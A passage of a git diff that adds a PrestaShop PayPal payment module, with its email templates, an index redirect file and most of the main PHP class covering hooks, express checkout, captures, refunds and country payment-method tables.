        {shop_name} powered with PrestaShop™
        + + \ No newline at end of file diff --git a/modules/paypal2/mails/en/error_reporting.txt b/modules/paypal2/mails/en/error_reporting.txt new file mode 100755 index 0000000..802ac51 --- /dev/null +++ b/modules/paypal2/mails/en/error_reporting.txt @@ -0,0 +1,9 @@ + Hi, + + Error reporting from your PayPalAPI module + + A client has encountered a problem with the module PayPalAPI, see the report: + + {logs} + + {shop_url} powered by PrestaShopâ„¢ diff --git a/modules/paypal2/mails/en/index.php b/modules/paypal2/mails/en/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/modules/paypal2/mails/en/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal2/paypal.gif b/modules/paypal2/paypal.gif new file mode 100755 index 0000000..e480d4b Binary files /dev/null and b/modules/paypal2/paypal.gif differ diff --git a/modules/paypal2/paypal.php b/modules/paypal2/paypal.php new file mode 100755 index 0000000..dedd8c8 --- /dev/null +++ b/modules/paypal2/paypal.php @@ -0,0 +1,1288 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +include_once(_PS_MODULE_DIR_.'/paypal/api/paypal_lib.php'); +include_once(_PS_MODULE_DIR_.'/paypal/paypal_logos.php'); +include_once(_PS_MODULE_DIR_.'/paypal/paypal_orders.php'); +include_once(_PS_MODULE_DIR_.'/paypal/paypal_tools.php'); + +define('WPS', 1); +define('HSS', 2); +define('ECS', 4); + +define('TRACKING_CODE', 'FR_PRESTASHOP_H3S'); +define('SMARTPHONE_TRACKING_CODE', 'Prestashop_Cart_smartphone_EC'); +define('TABLET_TRACKING_CODE', 'Prestashop_Cart_tablet_EC'); + +define('_PAYPAL_LOGO_XML_', 'logos.xml'); +define('_PAYPAL_MODULE_DIRNAME_', 'paypal'); +define('_PAYPAL_TRANSLATIONS_XML_', 'translations.xml'); + +class PayPal extends PaymentModule +{ + protected $_html = ''; + + public $_errors = array(); + + public $context; + public $iso_code; + public $default_country; + + public $paypal_logos; + + public $module_key = '646dcec2b7ca20c4e9a5aebbbad98d7e'; + + const BACKWARD_REQUIREMENT = '0.4'; + const DEFAULT_COUNTRY_ISO = 'GB'; + + const ONLY_PRODUCTS = 1; + const ONLY_DISCOUNTS = 2; + const BOTH = 3; + const BOTH_WITHOUT_SHIPPING = 4; + const ONLY_SHIPPING = 5; + const ONLY_WRAPPING = 6; + const ONLY_PRODUCTS_WITHOUT_SHIPPING = 7; + + public function __construct() + { + $this->name = 'paypal'; + $this->tab = 'payments_gateways'; + $this->version = '3.5.5'; + + $this->currencies = true; + $this->currencies_mode = 'radio'; + + parent::__construct(); + + $this->displayName = $this->l('PayPal'); + $this->description = $this->l('Accepts payments by credit cards (CB, Visa, MasterCard, Amex, Aurore, Cofinoga, 4 stars) with PayPal.'); + $this->confirmUninstall = $this->l('Are you sure you want to delete your details?'); + + $this->page = basename(__FILE__, '.php'); + + if (_PS_VERSION_ < '1.5') + { + $mobile_enabled = (int)Configuration::get('PS_MOBILE_DEVICE'); + require(_PS_MODULE_DIR_.$this->name.'/backward_compatibility/backward.php'); + } + else + $mobile_enabled = (int)Configuration::get('PS_ALLOW_MOBILE_DEVICE'); + + if (self::isInstalled($this->name)) + { + $this->loadDefaults(); + if ($mobile_enabled && $this->active) + $this->checkMobileCredentials(); + elseif ($mobile_enabled && !$this->active) + $this->checkMobileNeeds(); + } + else + $this->checkMobileNeeds(); + } + + public function install() + { + if (!parent::install() || !$this->registerHook('payment') || !$this->registerHook('paymentReturn') || + !$this->registerHook('shoppingCartExtra') || !$this->registerHook('backBeforePayment') || !$this->registerHook('rightColumn') || + !$this->registerHook('cancelProduct') || !$this->registerHook('productFooter') || !$this->registerHook('header') || + !$this->registerHook('adminOrder') || !$this->registerHook('backOfficeHeader')) + return false; + + if ((_PS_VERSION_ >= '1.5') && (!$this->registerHook('displayMobileHeader') || + !$this->registerHook('displayMobileShoppingCartTop') || !$this->registerHook('displayMobileAddToCartTop'))) + return false; + + include_once(_PS_MODULE_DIR_.'/'.$this->name.'/paypal_install.php'); + $paypal_install = new PayPalInstall(); + $paypal_install->createTables(); + $paypal_install->updateConfiguration($this->version); + $paypal_install->createOrderState(); + + $paypal_tools = new PayPalTools($this->name); + $paypal_tools->moveTopPayments(1); + $paypal_tools->moveRightColumn(3); + + $this->runUpgrades(true); + + return true; + } + + public function uninstall() + { + include_once(_PS_MODULE_DIR_.'/'.$this->name.'/paypal_install.php'); + $paypal_install = new PayPalInstall(); + $paypal_install->deleteConfiguration(); + return parent::uninstall(); + } + + /** + * Launch upgrade process + */ + public function runUpgrades($install = false) + { + if (file_exists(_PS_MODULE_DIR_.'/paypalapi/paypalapi.php') && !Configuration::get('PAYPAL_NEW')) + { + include_once(_PS_MODULE_DIR_.'/paypalapi/paypalapi.php'); + new PaypalAPI(); + + if (_PS_VERSION_ < '1.5') + foreach (array('2.8', '3.0') as $version) + { + $file = dirname(__FILE__).'/upgrade/install-'.$version.'.php'; + if (Configuration::get('PAYPAL_VERSION') < $version && file_exists($file)) + { + include_once($file); + call_user_func('upgrade_module_'.str_replace('.', '_', $version), $this, $install); + } + } + } + } + + private function compatibilityCheck() + { + if (file_exists(_PS_MODULE_DIR_.'/paypalapi/paypalapi.php') && $this->active) + $this->warning = $this->l('All features of Paypal API module are included in the new Paypal module. In order to do not have any conflict, please do not use and remove PayPalAPI module.').'
        '; + + /* For 1.4.3 and less compatibility */ + $updateConfig = array('PS_OS_CHEQUE' => 1, 'PS_OS_PAYMENT' => 2, 'PS_OS_PREPARATION' => 3, 'PS_OS_SHIPPING' => 4, + 'PS_OS_DELIVERED' => 5, 'PS_OS_CANCELED' => 6, 'PS_OS_REFUND' => 7, 'PS_OS_ERROR' => 8, 'PS_OS_OUTOFSTOCK' => 9, + 'PS_OS_BANKWIRE' => 10, 'PS_OS_PAYPAL' => 11, 'PS_OS_WS_PAYMENT' => 12); + + foreach ($updateConfig as $key => $value) + if (!Configuration::get($key) || (int)Configuration::get($key) < 1) + { + if (defined('_'.$key.'_') && (int)constant('_'.$key.'_') > 0) + Configuration::updateValue($key, constant('_'.$key.'_')); + else + Configuration::updateValue($key, $value); + } + } + + public function isPayPalAPIAvailable() + { + $payment_method = Configuration::get('PAYPAL_PAYMENT_METHOD'); + + if ($payment_method != HSS && !is_null(Configuration::get('PAYPAL_API_USER')) && + !is_null(Configuration::get('PAYPAL_API_PASSWORD')) && !is_null(Configuration::get('PAYPAL_API_SIGNATURE'))) + return true; + elseif ($payment_method == HSS && !is_null(Configuration::get('PAYPAL_BUSINESS_ACCOUNT'))) + return true; + + return false; + } + + /** + * Initialize default values + */ + protected function loadDefaults() + { + $this->loadLangDefault(); + $this->paypal_logos = new PayPalLogos($this->iso_code); + $payment_method = Configuration::get('PAYPAL_PAYMENT_METHOD'); + $order_process_type = (int)Configuration::get('PS_ORDER_PROCESS_TYPE'); + + if (Tools::getValue('paypal_ec_canceled') || $this->context->cart === false) + unset($this->context->cookie->express_checkout); + + if (_PS_VERSION_ >= '1.5.0.2') + { + $version = Db::getInstance()->getValue('SELECT version FROM `'._DB_PREFIX_.'module` WHERE name = \''.$this->name.'\''); + if (empty($version) === true) + { + Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'module` m + SET m.version = \''.bqSQL($this->version).'\' + WHERE m.name = \''.bqSQL($this->name).'\''); + } + } + + if (defined('_PS_ADMIN_DIR_')) + { + /* Backward compatibility */ + if (_PS_VERSION_ < '1.5') + $this->backwardCompatibilityChecks(); + + /* Upgrade and compatibility checks */ + $this->runUpgrades(); + $this->compatibilityCheck(); + $this->warningsCheck(); + } + else + { + if (isset($this->context->cookie->express_checkout)) + $this->context->smarty->assign('paypal_authorization', true); + + if (($order_process_type == 1) && ((int)$payment_method == HSS) && !$this->useMobile()) + $this->context->smarty->assign('paypal_order_opc', true); + elseif (($order_process_type == 1) && ((bool)Tools::getValue('isPaymentStep') == true)) + { + $shop_url = PayPal::getShopDomainSsl(true, true); + if (_PS_VERSION_ < '1.5') + { + $link = $shop_url._MODULE_DIR_.$this->name.'/express_checkout/payment.php'; + $this->context->smarty->assign('paypal_confirmation', $link.'?'.http_build_query(array('get_confirmation' => true), '', '&')); + } + else + { + $values = array('fc' => 'module', 'module' => 'paypal', 'controller' => 'confirm', 'get_confirmation' => true); + $this->context->smarty->assign('paypal_confirmation', $shop_url.__PS_BASE_URI__.'?'.http_build_query($values)); + } + } + } + } + + protected function checkMobileCredentials() + { + $payment_method = Configuration::get('PAYPAL_PAYMENT_METHOD'); + + if (((int)$payment_method == HSS) && ( + (!(bool)Configuration::get('PAYPAL_API_USER')) && + (!(bool)Configuration::get('PAYPAL_API_PASSWORD')) && + (!(bool)Configuration::get('PAYPAL_API_SIGNATURE')))) + $this->warning .= $this->l('You must set your PayPal Integral credentials in order to have the mobile theme work correctly.').'
        '; + } + + protected function checkMobileNeeds() + { + $iso_code = Country::getIsoById((int)Configuration::get('PS_COUNTRY_DEFAULT')); + $paypal_countries = array('ES', 'FR', 'PL', 'IT'); + + if (method_exists($this->context->shop, 'getTheme')) + { + if (($this->context->shop->getTheme() == 'default') && in_array($iso_code, $paypal_countries)) + $this->warning .= $this->l('The mobile theme only works with the PayPal\'s payment module at this time. Please activate the module to enable payments.').'
        '; + } + else + $this->warning .= $this->l('In order to use the module you need to install the backward compatibility.').'
        '; + } + + /* Check status of backward compatibility module*/ + protected function backwardCompatibilityChecks() + { + if (Module::isInstalled('backwardcompatibility')) + { + $backward_module = Module::getInstanceByName('backwardcompatibility'); + if (!$backward_module->active) + $this->warning .= $this->l('To work properly the module requires the backward compatibility module enabled').'
        '; + elseif ($backward_module->version < PayPal::BACKWARD_REQUIREMENT) + $this->warning .= $this->l('To work properly the module requires at least the backward compatibility module v').PayPal::BACKWARD_REQUIREMENT.'.
        '; + } + else + $this->warning .= $this->l('In order to use the module you need to install the backward compatibility.').'
        '; + } + + public function getContent() + { + $this->_postProcess(); + + if (($id_lang = Language::getIdByIso('EN')) == 0) + $english_language_id = (int)$this->context->employee->id_lang; + else + $english_language_id = (int)$id_lang; + + $this->context->smarty->assign(array( + 'PayPal_WPS' => (int)WPS, + 'PayPal_HSS' => (int)HSS, + 'PayPal_ECS' => (int)ECS, + 'PP_errors' => $this->_errors, + 'PayPal_logo' => $this->paypal_logos->getLogos(), + 'PayPal_allowed_methods' => $this->getPaymentMethods(), + 'PayPal_country' => Country::getNameById((int)$english_language_id, (int)$this->default_country), + 'PayPal_country_id' => (int)$this->default_country, + 'PayPal_business' => Configuration::get('PAYPAL_BUSINESS'), + 'PayPal_payment_method' => (int)Configuration::get('PAYPAL_PAYMENT_METHOD'), + 'PayPal_api_username' => Configuration::get('PAYPAL_API_USER'), + 'PayPal_api_password' => Configuration::get('PAYPAL_API_PASSWORD'), + 'PayPal_api_signature' => Configuration::get('PAYPAL_API_SIGNATURE'), + 'PayPal_api_business_account' => Configuration::get('PAYPAL_BUSINESS_ACCOUNT'), + 'PayPal_express_checkout_shortcut' => (int)Configuration::get('PAYPAL_EXPRESS_CHECKOUT_SHORTCUT'), + 'PayPal_sandbox_mode' => (int)Configuration::get('PAYPAL_SANDBOX'), + 'PayPal_payment_capture' => (int)Configuration::get('PAYPAL_CAPTURE'), + 'PayPal_country_default' => (int)$this->default_country, + 'PayPal_change_country_url' => 'index.php?tab=AdminCountries&token='.Tools::getAdminTokenLite('AdminCountries').'#footer', + 'Countries' => Country::getCountries($english_language_id), + 'One_Page_Checkout' => (int)Configuration::get('PS_ORDER_PROCESS_TYPE')) + ); + + $this->getTranslations(); + + $output = $this->fetchTemplate('/views/templates/back/back_office.tpl'); + + if ($this->active == false) + return $output.$this->hookBackOfficeHeader(); + + return $output; + } + + /** + * Hooks methods + */ + public function hookHeader() + { + if ($this->useMobile()) + { + $id_hook = (int)Configuration::get('PS_MOBILE_HOOK_HEADER_ID'); + if ($id_hook > 0) + { + $module = Hook::getModuleFromHook($id_hook, $this->id); + if (!$module) + $this->registerHook('displayMobileHeader'); + } + } + + if (isset($this->context->cart) && $this->context->cart->id) + $this->context->smarty->assign('id_cart', (int)$this->context->cart->id); + + /* Added for PrestaBox */ + if (method_exists($this->context->controller, 'addCSS')) + $this->context->controller->addCSS(_MODULE_DIR_.$this->name.'/css/paypal.css'); + else + Tools::addCSS(_MODULE_DIR_.$this->name.'/css/paypal.css'); + + return ''; + } + + public function hookDisplayMobileHeader() + { + return $this->hookHeader(); + } + + public function hookDisplayMobileShoppingCartTop() + { + return $this->renderExpressCheckoutButton('cart').$this->renderExpressCheckoutForm('cart'); + } + + public function hookDisplayMobileAddToCartTop() + { + return $this->renderExpressCheckoutButton('cart'); + } + + public function hookProductFooter() + { + $content = (!$this->useMobile()) ? $this->renderExpressCheckoutButton('product') : null; + return $content.$this->renderExpressCheckoutForm('product'); + } + + public function hookPayment($params) + { + if (!$this->active) + return; + + $use_mobile = $this->useMobile(); + + if ($use_mobile) + $method = ECS; + else + $method = (int)Configuration::get('PAYPAL_PAYMENT_METHOD'); + + if (isset($this->context->cookie->express_checkout)) + $this->redirectToConfirmation(); + + $this->context->smarty->assign(array( + 'logos' => $this->paypal_logos->getLogos(), + 'sandbox_mode' => Configuration::get('PAYPAL_SANDBOX'), + 'use_mobile' => $use_mobile, + 'PayPal_lang_code' => (isset($iso_lang[$this->context->language->iso_code])) ? $iso_lang[$this->context->language->iso_code] : 'en_US' + )); + + if ($method == HSS) + { + $billing_address = new Address($this->context->cart->id_address_invoice); + $delivery_address = new Address($this->context->cart->id_address_delivery); + $billing_address->country = new Country($billing_address->id_country); + $delivery_address->country = new Country($delivery_address->id_country); + $billing_address->state = new State($billing_address->id_state); + $delivery_address->state = new State($delivery_address->id_state); + + $cart = $this->context->cart; + $cart_details = $cart->getSummaryDetails(null, true); + + if ((int)Configuration::get('PAYPAL_SANDBOX') == 1) + $action_url = 'https://securepayments.sandbox.paypal.com/acquiringweb'; + else + $action_url = 'https://securepayments.paypal.com/acquiringweb'; + + $shop_url = PayPal::getShopDomainSsl(true, true); + + $this->context->smarty->assign(array( + 'action_url' => $action_url, + 'cart' => $cart, + 'cart_details' => $cart_details, + 'currency' => new Currency((int)$cart->id_currency), + 'customer' => $this->context->customer, + 'business_account' => Configuration::get('PAYPAL_BUSINESS_ACCOUNT'), + 'custom' => Tools::jsonEncode(array('id_cart' => $cart->id, 'hash' => sha1(serialize($cart->nbProducts())))), + 'gift_price' => (float)$this->getGiftWrappingPrice(), + 'billing_address' => $billing_address, + 'delivery_address' => $delivery_address, + 'shipping' => $cart_details['total_shipping_tax_exc'], + 'subtotal' => $cart_details['total_price_without_tax'] - $cart_details['total_shipping_tax_exc'], + 'time' => time(), + 'cancel_return' => $this->context->link->getPageLink('order.php'), + 'notify_url' => $shop_url._MODULE_DIR_.$this->name.'/integral_evolution/notifier.php', + 'return_url' => $shop_url._MODULE_DIR_.$this->name.'/integral_evolution/submit.php?id_cart='.(int)$cart->id, + 'tracking_code' => $this->getTrackingCode(), + 'iso_code' => strtoupper($this->context->language->iso_code) + )); + + return $this->fetchTemplate('integral_evolution_payment.tpl'); + } + elseif ($method == WPS || $method == ECS) + { + $this->getTranslations(); + $this->context->smarty->assign(array( + 'PayPal_integral' => WPS, + 'PayPal_express_checkout' => ECS, + 'PayPal_payment_method' => $method, + 'PayPal_payment_type' => 'payment_cart', + 'PayPal_current_page' => $this->getCurrentUrl(), + 'PayPal_tracking_code' => $this->getTrackingCode())); + + return $this->fetchTemplate('express_checkout_payment.tpl'); + } + + return null; + } + + public function hookShoppingCartExtra() + { + // No active + if (!$this->active || (((int)Configuration::get('PAYPAL_PAYMENT_METHOD') == HSS) && !$this->context->getMobileDevice()) || + !Configuration::get('PAYPAL_EXPRESS_CHECKOUT_SHORTCUT') || !in_array(ECS, $this->getPaymentMethods()) || isset($this->context->cookie->express_checkout)) + return null; + + $values = array('en' => 'en_US', 'fr' => 'fr_FR'); + $this->context->smarty->assign(array( + 'PayPal_payment_type' => 'cart', + 'PayPal_current_page' => $this->getCurrentUrl(), + 'PayPal_lang_code' => (isset($values[$this->context->language->iso_code]) ? $values[$this->context->language->iso_code] : 'en_US'), + 'PayPal_tracking_code' => $this->getTrackingCode(), + 'include_form' => true, + 'template_dir' => dirname(__FILE__).'/views/templates/hook/')); + + return $this->fetchTemplate('express_checkout_shortcut_button.tpl'); + } + + public function hookPaymentReturn() + { + if (!$this->active) + return null; + + return $this->fetchTemplate('confirmation.tpl'); + } + + public function hookRightColumn() + { + $this->context->smarty->assign('logo', $this->paypal_logos->getCardsLogo(true)); + return $this->fetchTemplate('column.tpl'); + } + + public function hookLeftColumn() + { + return $this->hookRightColumn(); + } + + public function hookBackBeforePayment($params) + { + if (!$this->active) + return null; + + /* Only execute if you use PayPal API for payment */ + if (((int)Configuration::get('PAYPAL_PAYMENT_METHOD') != HSS) && $this->isPayPalAPIAvailable()) + { + if ($params['module'] != $this->name || !$this->context->cookie->paypal_token || !$this->context->cookie->paypal_payer_id) + return false; + Tools::redirect('modules/'.$this->name.'/express_checkout/submit.php?confirm=1&token='.$this->context->cookie->paypal_token.'&payerID='.$this->context->cookie->paypal_payer_id); + } + } + + public function hookAdminOrder($params) + { + if (Tools::isSubmit('submitPayPalCapture')) + $this->_doCapture($params['id_order']); + elseif (Tools::isSubmit('submitPayPalRefund')) + $this->_doTotalRefund($params['id_order']); + + $adminTemplates = array(); + if ($this->isPayPalAPIAvailable()) + { + if ($this->_needValidation((int)$params['id_order'])) + $adminTemplates[] = 'validation'; + if ($this->_needCapture((int)$params['id_order'])) + $adminTemplates[] = 'capture'; + if ($this->_canRefund((int)$params['id_order'])) + $adminTemplates[] = 'refund'; + } + + if (count($adminTemplates) > 0) + { + $order = new Order((int)$params['id_order']); + + if (_PS_VERSION_ >= '1.5') + $order_state = $order->current_state; + else + $order_state = OrderHistory::getLastOrderState($order->id); + + $this->context->smarty->assign( + array( + 'authorization' => (int)Configuration::get('PAYPAL_OS_AUTHORIZATION'), + 'base_url' => _PS_BASE_URL_.__PS_BASE_URI__, + 'module_name' => $this->name, + 'order_state' => $order_state, + 'params' => $params, + 'ps_version' => _PS_VERSION_ + ) + ); + + foreach ($adminTemplates as $adminTemplate) + { + $this->_html .= $this->fetchTemplate('/views/templates/back/admin_order/'.$adminTemplate.'.tpl'); + $this->_postProcess(); + $this->_html .= ''; + } + } + + return $this->_html; + } + + public function hookCancelProduct($params) + { + if (Tools::isSubmit('generateDiscount') || !$this->isPayPalAPIAvailable()) + return false; + elseif ($params['order']->module != $this->name || !($order = $params['order']) || !Validate::isLoadedObject($order)) + return false; + elseif (!$order->hasBeenPaid()) + return false; + + $order_detail = new OrderDetail((int)$params['id_order_detail']); + if (!$order_detail || !Validate::isLoadedObject($order_detail)) + return false; + + $paypal_order = PayPalOrder::getOrderById((int)$order->id); + if (!$paypal_order) + return false; + + $products = $order->getProducts(); + $cancel_quantity = Tools::getValue('cancelQuantity'); + $message = $this->l('Cancel products result:').'
        '; + + $amount = (float)($products[(int)$order_detail->id]['product_price_wt'] * (int)$cancel_quantity[(int)$order_detail->id]); + $refund = $this->_makeRefund($paypal_order->id_transaction, (int)$order->id, $amount); + $this->formatMessage($refund, $message); + $this->_addNewPrivateMessage((int)$order->id, $message); + } + + public function hookBackOfficeHeader() + { + if ((int)strcmp((_PS_VERSION_ < '1.5' ? Tools::getValue('configure') : Tools::getValue('module_name')), $this->name) == 0) + { + if (_PS_VERSION_ < '1.5') + { + $output = ' + + + '; + } + else + { + $this->context->controller->addJquery(); + $this->context->controller->addJQueryPlugin('fancybox'); + $this->context->controller->addCSS(_MODULE_DIR_.$this->name.'/css/paypal.css'); + } + + $this->context->smarty->assign(array( + 'PayPal_module_dir' => _MODULE_DIR_.$this->name, + 'PayPal_WPS' => (int)WPS, + 'PayPal_HSS' => (int)HSS, + 'PayPal_ECS' => (int)ECS + )); + + return (isset($output) ? $output : null).$this->fetchTemplate('/views/templates/back/header.tpl'); + } + return null; + } + + public function renderExpressCheckoutButton($type) + { + if ((!Configuration::get('PAYPAL_EXPRESS_CHECKOUT_SHORTCUT') && !$this->useMobile())) + return null; + + if (!in_array(ECS, $this->getPaymentMethods()) || (((int)Configuration::get('PAYPAL_BUSINESS') == 1) && + (int)Configuration::get('PAYPAL_PAYMENT_METHOD') == HSS) && !$this->useMobile()) + return null; + + $iso_lang = array( + 'en' => 'en_US', + 'fr' => 'fr_FR' + ); + + $this->context->smarty->assign(array( + 'use_mobile' => (bool) $this->useMobile(), + 'PayPal_payment_type' => $type, + 'PayPal_current_page' => $this->getCurrentUrl(), + 'PayPal_lang_code' => (isset($iso_lang[$this->context->language->iso_code])) ? $iso_lang[$this->context->language->iso_code] : 'en_US', + 'PayPal_tracking_code' => $this->getTrackingCode()) + ); + + return $this->fetchTemplate('express_checkout_shortcut_button.tpl'); + } + + public function renderExpressCheckoutForm($type) + { + if ((!Configuration::get('PAYPAL_EXPRESS_CHECKOUT_SHORTCUT') && !$this->useMobile()) || !in_array(ECS, $this->getPaymentMethods()) || + (((int)Configuration::get('PAYPAL_BUSINESS') == 1) && ((int)Configuration::get('PAYPAL_PAYMENT_METHOD') == HSS) && !$this->useMobile())) + return; + + $this->context->smarty->assign(array( + 'PayPal_payment_type' => $type, + 'PayPal_current_page' => $this->getCurrentUrl(), + 'PayPal_tracking_code' => $this->getTrackingCode()) + ); + + return $this->fetchTemplate('express_checkout_shortcut_form.tpl'); + } + + public function useMobile() + { + if ((method_exists($this->context, 'getMobileDevice') && $this->context->getMobileDevice()) || Tools::getValue('ps_mobile_site')) + return true; + return false; + } + + public function getTrackingCode() + { + if ((_PS_VERSION_ < '1.5') && (_THEME_NAME_ == 'prestashop_mobile' || (isset($_GET['ps_mobile_site']) && $_GET['ps_mobile_site'] == 1))) + { + if (_PS_MOBILE_TABLET_) + return TABLET_TRACKING_CODE; + elseif (_PS_MOBILE_PHONE_) + return SMARTPHONE_TRACKING_CODE; + } + if (isset($this->context->mobile_detect)) + { + if ($this->context->mobile_detect->isTablet()) + return TABLET_TRACKING_CODE; + elseif ($this->context->mobile_detect->isMobile()) + return SMARTPHONE_TRACKING_CODE; + } + return TRACKING_CODE; + } + + public function getTranslations() + { + $file = dirname(__FILE__).'/'._PAYPAL_TRANSLATIONS_XML_; + if (file_exists($file)) + { + $xml = simplexml_load_file($file); + if (isset($xml) && $xml) + { + $index = -1; + $content = $default = array(); + + while (isset($xml->country[++$index])) + { + $country = $xml->country[$index]; + $country_iso = $country->attributes()->iso_code; + + if (($this->iso_code != 'default') && ($country_iso == $this->iso_code)) + $content = (array)$country; + elseif ($country_iso == 'default') + $default = (array)$country; + } + + $content += $default; + $this->context->smarty->assign('PayPal_content', $content); + + return true; + } + } + return false; + } + + public function getPayPalURL() + { + return 'www'.(Configuration::get('PAYPAL_SANDBOX') ? '.sandbox' : '').'.paypal.com'; + } + + public function getPaypalIntegralEvolutionUrl() + { + if (Configuration::get('PAYPAL_SANDBOX')) + return 'https://'.$this->getPayPalURL().'/cgi-bin/acquiringweb'; + return 'https://securepayments.paypal.com/acquiringweb?cmd=_hosted-payment'; + } + + public function getPaypalStandardUrl() + { + return 'https://'.$this->getPayPalURL().'/cgi-bin/webscr'; + } + + public function getAPIURL() + { + return 'api-3t'.(Configuration::get('PAYPAL_SANDBOX') ? '.sandbox' : '').'.paypal.com'; + } + + public function getAPIScript() + { + return '/nvp'; + } + + public function getCountryDependency($iso_code) + { + $localizations = array( + 'AU' => array('AU'), 'BE' => array('BE'), 'CN' => array('CN', 'MO'), 'CZ' => array('CZ'), 'DE' => array('DE'), 'ES' => array('ES'), + 'FR' => array('FR'), 'GB' => array('GB'), 'HK' => array('HK'), 'IL' => array('IL'), 'IN' => array('IN'), 'IT' => array('IT', 'VA'), + 'JP' => array('JP'), 'MY' => array('MY'), 'NL' => array('AN', 'NL'), 'NZ' => array('NZ'), 'PL' => array('PL'), 'PT' => array('PT', 'BR'), + 'RA' => array('AF', 'AS', 'BD', 'BN', 'BT', 'CC', 'CK', 'CX', 'FM', 'HM', 'ID', 'KH', 'KI', 'KN', 'KP', 'KR', 'KZ', 'LA', 'LK', 'MH', + 'MM', 'MN', 'MV', 'MX', 'NF', 'NP', 'NU', 'OM', 'PG', 'PH', 'PW', 'QA', 'SB', 'TJ', 'TK', 'TL', 'TM', 'TO', 'TV', 'TZ', 'UZ', 'VN', + 'VU', 'WF', 'WS'), + 'RE' => array('IE', 'ZA', 'GP', 'GG', 'JE', 'MC', 'MS', 'MP', 'PA', 'PY', 'PE', 'PN', 'PR', 'LC', 'SR', 'TT', + 'UY', 'VE', 'VI', 'AG', 'AR', 'CA', 'BO', 'BS', 'BB', 'BZ', 'CL', 'CO', 'CR', 'CU', 'SV', 'GD', 'GT', 'HN', 'JM', 'NI', 'AD', 'AE', + 'AI', 'AL', 'AM', 'AO', 'AQ', 'AT', 'AW', 'AX', 'AZ', 'BA', 'BF', 'BG', 'BH', 'BI', 'BJ', 'BL', 'BM', 'BV', 'BW', 'BY', 'CD', 'CF', 'CG', + 'CH', 'CI', 'CM', 'CV', 'CY', 'DJ', 'DK', 'DM', 'DO', 'DZ', 'EC', 'EE', 'EG', 'EH', 'ER', 'ET', 'FI', 'FJ', 'FK', 'FO', 'GA', 'GE', 'GF', + 'GH', 'GI', 'GL', 'GM', 'GN', 'GQ', 'GR', 'GS', 'GU', 'GW', 'GY', 'HR', 'HT', 'HU', 'IM', 'IO', 'IQ', 'IR', 'IS', 'JO', 'KE', 'KM', 'KW', + 'KY', 'LB', 'LI', 'LR', 'LS', 'LT', 'LU', 'LV', 'LY', 'MA', 'MD', 'ME', 'MF', 'MG', 'MK', 'ML', 'MQ', 'MR', 'MT', 'MU', 'MW', 'MZ', 'NA', + 'NC', 'NE', 'NG', 'NO', 'NR', 'PF', 'PK', 'PM', 'PS', 'RE', 'RO', 'RS', 'RU', 'RW', 'SA', 'SC', 'SD', 'SE', 'SI', 'SJ', 'SK', 'SL', + 'SM', 'SN', 'SO', 'ST', 'SY', 'SZ', 'TC', 'TD', 'TF', 'TG', 'TN', 'UA', 'UG', 'VC', 'VG', 'YE', 'YT', 'ZM', 'ZW'), + 'SG' => array('SG'), 'TH' => array('TH'), 'TR' => array('TR'), 'TW' => array('TW'), 'US' => array('US')); + + foreach ($localizations as $key => $value) + if (in_array($iso_code, $value)) + return $key; + + return $this->getCountryDependency(self::DEFAULT_COUNTRY_ISO); + } + + public function getPaymentMethods() + { + // WPS -> Web Payment Standard + // HSS -> Web Payment Pro / Integral Evolution + // ECS -> Express Checkout Solution + + $paymentMethod = array('AU' => array(WPS, HSS, ECS), 'BE' => array(WPS, ECS), 'CN' => array(WPS, ECS), 'CZ' => array(), 'DE' => array(WPS), + 'ES' => array(WPS, HSS, ECS), 'FR' => array(WPS, HSS, ECS), 'GB' => array(WPS, HSS, ECS), 'HK' => array(WPS, HSS, ECS), + 'IL' => array(WPS, ECS), 'IN' => array(WPS, ECS), 'IT' => array(WPS, HSS, ECS), 'JP' => array(WPS, HSS, ECS), 'MY' => array(WPS, ECS), + 'NL' => array(WPS, ECS), 'NZ' => array(WPS, ECS), 'PL' => array(WPS, ECS), 'PT' => array(WPS, ECS), 'RA' => array(WPS, ECS), 'RE' => array(WPS, ECS), + 'SG' => array(WPS, ECS), 'TH' => array(WPS, ECS), 'TR' => array(WPS, ECS), 'TW' => array(WPS, ECS), 'US' => array(WPS, ECS), + 'ZA' => array(WPS, ECS)); + + return isset($paymentMethod[$this->iso_code]) ? $paymentMethod[$this->iso_code] : $paymentMethod[self::DEFAULT_COUNTRY_ISO]; + } + + public function getCountryCode() + { + $cart = new Cart((int)$this->context->cookie->id_cart); + $address = new Address((int)$cart->id_address_invoice); + $country = new Country((int)$address->id_country); + + return $country->iso_code; + } + + public function displayPayPalAPIError($message, $log = false) + { + $send = true; + // Sanitize log + foreach ($log as $key => $string) + { + if ($string == 'ACK -> Success') + $send = false; + elseif (substr($string, 0, 6) == 'METHOD') + { + $values = explode('&', $string); + foreach ($values as $key2 => $value) + { + $values2 = explode('=', $value); + foreach ($values2 as $key3 => $value2) + if ($value2 == 'PWD' || $value2 == 'SIGNATURE') + $values2[$key3 + 1] = '*********'; + $values[$key2] = implode('=', $values2); + } + $log[$key] = implode('&', $values); + } + } + + $this->context->smarty->assign(array('message' => $message, 'logs' => $log)); + + if ($send) + { + $id_lang = (int)$this->context->cookie->id_lang; + $iso_lang = Language::getIsoById($id_lang); + + if (!is_dir(dirname(__FILE__).'/mails/'.strtolower($iso_lang))) + $id_lang = Language::getIdByIso('en'); + + Mail::Send($id_lang, 'error_reporting', Mail::l('Error reporting from your PayPal module', + (int)$this->context->cookie->id_lang), array('{logs}' => implode('
